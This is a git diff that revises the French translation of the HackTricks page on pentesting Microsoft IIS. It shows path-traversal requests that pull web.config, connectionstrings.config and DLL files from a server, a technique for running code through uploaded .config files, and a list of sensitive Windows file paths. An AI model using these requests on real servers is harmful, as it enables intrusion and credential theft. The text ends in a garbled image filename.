mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
Translated ['network-services-pentesting/pentesting-web/iis-internet-inf
This commit is contained in:
parent
d8ff7d0730
commit
d5dff4791e
1 changed files with 108 additions and 160 deletions
|
@ -4,10 +4,10 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -21,14 +21,14 @@ Testez les extensions de fichiers exécutables :
|
||||||
|
|
||||||
## Divulgation de l'adresse IP interne
|
## Divulgation de l'adresse IP interne
|
||||||
|
|
||||||
Sur n'importe quel serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0 et à l'intérieur de la réponse, l'en-tête Location pourrait vous pointer vers l'adresse IP interne :
|
Sur n'importe quel serveur IIS où vous obtenez un code 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0. À l'intérieur de la réponse, l'en-tête Location pourrait vous indiquer l'adresse IP interne :
|
||||||
```
|
```
|
||||||
nc -v domain.com 80
|
nc -v domain.com 80
|
||||||
openssl s_client -connect domain.com:443
|
openssl s_client -connect domain.com:443
|
||||||
```
|
```
|
||||||
Réponse divulguant l'adresse IP interne :
|
Réponse divulguant l'adresse IP interne :
|
||||||
```
|
```
|
||||||
GET / HTTP/1.0
|
GET / HTTP/1.0
|
||||||
|
|
||||||
HTTP/1.1 302 Moved Temporarily
|
HTTP/1.1 302 Moved Temporarily
|
||||||
Cache-Control: no-cache
|
Cache-Control: no-cache
|
||||||
|
@ -39,11 +39,11 @@ X-FEServer: NHEXCHANGE2016
|
||||||
```
|
```
|
||||||
## Exécuter des fichiers .config
|
## Exécuter des fichiers .config
|
||||||
|
|
||||||
Vous pouvez télécharger des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d'ajouter le code à la fin du fichier à l'intérieur d'un commentaire HTML: [Téléchargez un exemple ici](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
Vous pouvez télécharger des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d'ajouter le code à la fin du fichier à l'intérieur d'un commentaire HTML: [Téléchargez l'exemple ici](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||||
|
|
||||||
Plus d'informations et de techniques pour exploiter cette vulnérabilité [ici](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
Plus d'informations et de techniques pour exploiter cette vulnérabilité [ici](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||||
|
|
||||||
## Bruteforce de découverte IIS
|
## IIS Discovery Bruteforce
|
||||||
|
|
||||||
Téléchargez la liste que j'ai créée:
|
Téléchargez la liste que j'ai créée:
|
||||||
|
|
||||||
|
@ -65,8 +65,8 @@ Utilisez-le sans ajouter d'extension, les fichiers qui en ont besoin l'ont déj
|
||||||
### Fuite de code source
|
### Fuite de code source
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
En résumé, il y a plusieurs fichiers web.config dans les dossiers de l'application avec des références à des fichiers "**assemblyIdentity**" et des "**namespaces**". Avec ces informations, il est possible de savoir **où se trouvent les exécutables** et de les télécharger.\
|
En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "**assemblyIdentity**" et aux "**namespaces**". Avec ces informations, il est possible de savoir **où se trouvent les exécutables** et de les télécharger.\
|
||||||
À partir des **Dlls téléchargées**, il est également possible de trouver des **nouveaux espaces de noms** où vous devriez essayer d'accéder et d'obtenir le fichier web.config afin de trouver de nouveaux espaces de noms et assemblyIdentity.\
|
À partir des **Dlls téléchargées**, il est également possible de trouver des **nouveaux namespaces** auxquels vous devriez essayer d'accéder et d'obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.\
|
||||||
De plus, les fichiers **connectionstrings.config** et **global.asax** peuvent contenir des informations intéressantes.\
|
De plus, les fichiers **connectionstrings.config** et **global.asax** peuvent contenir des informations intéressantes.\
|
||||||
Référence: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
Référence: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -81,70 +81,70 @@ HTTP/1.1 200 OK
|
||||||
[...]
|
[...]
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<configuration>
|
<configuration>
|
||||||
<configSections>
|
<configSections>
|
||||||
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />
|
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />
|
||||||
</configSections>
|
</configSections>
|
||||||
<appSettings>
|
<appSettings>
|
||||||
<add key="webpages:Version" value="3.0.0.0" />
|
<add key="webpages:Version" value="3.0.0.0" />
|
||||||
<add key="webpages:Enabled" value="false" />
|
<add key="webpages:Enabled" value="false" />
|
||||||
<add key="ClientValidationEnabled" value="true" />
|
<add key="ClientValidationEnabled" value="true" />
|
||||||
<add key="UnobtrusiveJavaScriptEnabled" value="true" />
|
<add key="UnobtrusiveJavaScriptEnabled" value="true" />
|
||||||
</appSettings>
|
</appSettings>
|
||||||
<system.web>
|
<system.web>
|
||||||
<authentication mode="None" />
|
<authentication mode="None" />
|
||||||
<compilation debug="true" targetFramework="4.6.1" />
|
<compilation debug="true" targetFramework="4.6.1" />
|
||||||
<httpRuntime targetFramework="4.6.1" />
|
<httpRuntime targetFramework="4.6.1" />
|
||||||
</system.web>
|
</system.web>
|
||||||
<system.webServer>
|
<system.webServer>
|
||||||
<modules>
|
<modules>
|
||||||
<remove name="FormsAuthentication" />
|
<remove name="FormsAuthentication" />
|
||||||
</modules>
|
</modules>
|
||||||
</system.webServer>
|
</system.webServer>
|
||||||
<runtime>
|
<runtime>
|
||||||
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
|
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="Microsoft.Owin.Security" />
|
<assemblyIdentity name="Microsoft.Owin.Security" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="Microsoft.Owin.Security.OAuth" />
|
<assemblyIdentity name="Microsoft.Owin.Security.OAuth" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="Microsoft.Owin.Security.Cookies" />
|
<assemblyIdentity name="Microsoft.Owin.Security.Cookies" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="Microsoft.Owin" />
|
<assemblyIdentity name="Microsoft.Owin" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="Newtonsoft.Json" culture="neutral" />
|
<assemblyIdentity name="Newtonsoft.Json" culture="neutral" />
|
||||||
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
|
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="System.Web.Optimization" />
|
<assemblyIdentity name="System.Web.Optimization" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
|
<bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="WebGrease" />
|
<assemblyIdentity name="WebGrease" />
|
||||||
<bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
|
<bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="System.Web.Helpers" />
|
<assemblyIdentity name="System.Web.Helpers" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="System.Web.Mvc" />
|
<assemblyIdentity name="System.Web.Mvc" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
|
<bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
<dependentAssembly>
|
<dependentAssembly>
|
||||||
<assemblyIdentity name="System.Web.WebPages" />
|
<assemblyIdentity name="System.Web.WebPages" />
|
||||||
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
|
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
|
||||||
</dependentAssembly>
|
</dependentAssembly>
|
||||||
</assemblyBinding>
|
</assemblyBinding>
|
||||||
```
|
```
|
||||||
Dans la sortie précédente, vous pouvez trouver des références à plusieurs "**assemblyIdentity**". Ce sont des fichiers qui peuvent être situés dans le dossier /bin. Par exemple: **/bin/WebGrease.dll**.
|
Dans la sortie précédente, vous pouvez trouver des références à plusieurs "**assemblyIdentity**". Ce sont des fichiers qui peuvent être situés à l'intérieur du dossier /bin. Par exemple : **/bin/WebGrease.dll**.
|
||||||
|
|
||||||
D'autres fichiers qui pourraient être trouvés dans le répertoire racine d'une application .Net sont **/global.asax**.
|
D'autres fichiers qui pourraient être trouvés dans le répertoire racine d'une application .Net sont **/global.asax**.
|
||||||
```markup
|
```markup
|
||||||
|
@ -152,15 +152,15 @@ D'autres fichiers qui pourraient être trouvés dans le répertoire racine d'une
|
||||||
```
|
```
|
||||||
Et **/connectionstrings.config**
|
Et **/connectionstrings.config**
|
||||||
|
|
||||||
**Note: ce fichier contient des mots de passe !**
|
**Note : ce fichier contient des mots de passe !**
|
||||||
```markup
|
```markup
|
||||||
<connectionStrings>
|
<connectionStrings>
|
||||||
<add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
|
<add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
|
||||||
</connectionStrings>
|
</connectionStrings>
|
||||||
```
|
```
|
||||||
**Espaces de noms**
|
**Espaces de noms**
|
||||||
|
|
||||||
De plus, les applications .Net MVC sont structurées pour définir **d'autres fichiers web.config**, ayant pour but d'inclure toute déclaration pour des espaces de noms spécifiques pour chaque ensemble de pages de vue, soulageant les développeurs de déclarer des espaces de noms " @using " dans chaque fichier.
|
De plus, les applications .Net MVC sont structurées pour définir **d'autres fichiers web.config**, dans le but d'inclure toute déclaration pour des espaces de noms spécifiques pour chaque ensemble de pages de vue, soulageant les développeurs de déclarer les espaces de noms " @using " dans chaque fichier.
|
||||||
```markup
|
```markup
|
||||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
|
@ -170,22 +170,22 @@ HTTP/1.1 200 OK
|
||||||
[...]
|
[...]
|
||||||
<?xml version="1.0"?>
|
<?xml version="1.0"?>
|
||||||
<configuration>
|
<configuration>
|
||||||
<configSections>
|
<configSections>
|
||||||
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
|
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
|
||||||
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
||||||
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
||||||
</sectionGroup>
|
</sectionGroup>
|
||||||
</configSections>
|
</configSections>
|
||||||
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">
|
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">
|
||||||
<namespaces>
|
<namespaces>
|
||||||
<add namespace="System.Web.Mvc" />
|
<add namespace="System.Web.Mvc" />
|
||||||
<add namespace="System.Web.Mvc.Ajax" />
|
<add namespace="System.Web.Mvc.Ajax" />
|
||||||
<add namespace="System.Web.Mvc.Html" />
|
<add namespace="System.Web.Mvc.Html" />
|
||||||
<add namespace="System.Web.Optimization"/>
|
<add namespace="System.Web.Optimization"/>
|
||||||
<add namespace="System.Web.Routing" />
|
<add namespace="System.Web.Routing" />
|
||||||
<add namespace="WebApplication1" />
|
<add namespace="WebApplication1" />
|
||||||
```
|
```
|
||||||
**Téléchargement de DLLs**
|
**Téléchargement de DLL**
|
||||||
|
|
||||||
D'après une réponse précédente, la déclaration d'un **espace de noms personnalisé** (puisque les autres espaces de noms sont par défaut) suggère qu'une DLL appelée "**WebApplication1**" est présente dans le répertoire /bin.
|
D'après une réponse précédente, la déclaration d'un **espace de noms personnalisé** (puisque les autres espaces de noms sont par défaut) suggère qu'une DLL appelée "**WebApplication1**" est présente dans le répertoire /bin.
|
||||||
```
|
```
|
||||||
|
@ -193,7 +193,7 @@ GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
À partir de la sortie précédente, vous pourrez également trouver les DLL dans le répertoire /bin :
|
À partir de la sortie précédente, à l'intérieur du répertoire /bin, vous pourrez également trouver les DLL suivantes :
|
||||||
|
|
||||||
* System.Web.Mvc.dll
|
* System.Web.Mvc.dll
|
||||||
* System.Web.Mvc.Ajax.dll
|
* System.Web.Mvc.Ajax.dll
|
||||||
|
@ -201,7 +201,7 @@ Host: example-mvc-application.minded
|
||||||
* System.Web.Optimization.dll
|
* System.Web.Optimization.dll
|
||||||
* System.Web.Routing.dll
|
* System.Web.Routing.dll
|
||||||
|
|
||||||
Supposons que la DLL précédente importe un espace de noms appelé **WebApplication1.Areas.Minded.** un attaquant peut en déduire que d'autres fichiers web.config sont présents dans l'application, dans des chemins devinables / par défaut tels que **/nom-de-zone/Views/**, contenant des configurations spécifiques qui peuvent se référer à d'autres fichiers DLL présents dans le dossier /bin.
|
Supposons que la DLL précédente importe un espace de noms appelé **WebApplication1.Areas.Minded**. Un attaquant peut déduire que d'autres fichiers web.config sont présents dans l'application, dans des chemins devinables/défaut tels que **/nom-de-zone/Views/**, contenant des configurations spécifiques qui peuvent faire référence à d'autres fichiers DLL présents dans le dossier /bin.
|
||||||
```markup
|
```markup
|
||||||
GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
|
GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
|
@ -212,26 +212,26 @@ HTTP/1.1 200 OK
|
||||||
<?xml version="1.0"?>
|
<?xml version="1.0"?>
|
||||||
<configuration>
|
<configuration>
|
||||||
<configSections>
|
<configSections>
|
||||||
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
|
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
|
||||||
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
|
||||||
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
|
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
|
||||||
</sectionGroup>
|
</sectionGroup>
|
||||||
</configSections>
|
</configSections>
|
||||||
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
|
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
|
||||||
<pages pageBaseType="System.Web.Mvc.WebViewPage">
|
<pages pageBaseType="System.Web.Mvc.WebViewPage">
|
||||||
<namespaces>
|
<namespaces>
|
||||||
<add namespace="System.Web.Mvc" />
|
<add namespace="System.Web.Mvc" />
|
||||||
<add namespace="System.Web.Mvc.Ajax" />
|
<add namespace="System.Web.Mvc.Ajax" />
|
||||||
<add namespace="System.Web.Mvc.Html" />
|
<add namespace="System.Web.Mvc.Html" />
|
||||||
<add namespace="System.Web.Routing" />
|
<add namespace="System.Web.Routing" />
|
||||||
<add namespace="System.Web.Optimization" />
|
<add namespace="System.Web.Optimization" />
|
||||||
<add namespace="WebApplication1" />
|
<add namespace="WebApplication1" />
|
||||||
<add namespace="WebApplication1.AdditionalFeatures" />
|
<add namespace="WebApplication1.AdditionalFeatures" />
|
||||||
</namespaces>
|
</namespaces>
|
||||||
```
|
```
|
||||||
Notez comment dans la sortie précédente, vous pouvez voir un nouveau namespace appelé: **WebApplication1.AdditionalFeatures** qui indique qu'il y a une autre Dll dans le dossier /bin appelée **WebApplication1.AdditionalFeatures.dll**
|
Notez comment dans la sortie précédente, vous pouvez voir un nouveau namespace appelé: **WebApplication1.AdditionalFeatures** ce qui indique qu'il y a une autre Dll dans le dossier /bin appelée **WebApplication1.AdditionalFeatures.dll**
|
||||||
|
|
||||||
### Fichiers communs
|
### Fichiers courants
|
||||||
|
|
||||||
À partir de [ici](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
À partir de [ici](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||||
```
|
```
|
||||||
|
@ -297,7 +297,7 @@ C:\Windows\System32\drivers\etc\hosts
|
||||||
C:\Windows\System32\winevt\Logs\Application.evtx
|
C:\Windows\System32\winevt\Logs\Application.evtx
|
||||||
C:\Windows\System32\winevt\Logs\Security.evtx
|
C:\Windows\System32\winevt\Logs\Security.evtx
|
||||||
C:\Windows\System32\winevt\Logs\System.evtx
|
C:\Windows\System32\winevt\Logs\System.evtx
|
||||||
C:\Windows\win.ini
|
C:\Windows\win.ini
|
||||||
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
||||||
C:\xampp\apache\conf\httpd.conf
|
C:\xampp\apache\conf\httpd.conf
|
||||||
C:\xampp\apache\logs\access.log
|
C:\xampp\apache\logs\access.log
|
||||||
|
@ -314,67 +314,15 @@ C:\xampp\tomcat\conf\server.xml
|
||||||
|
|
||||||
Si vous voyez une erreur comme celle-ci :
|
Si vous voyez une erreur comme celle-ci :
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png>)
|
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 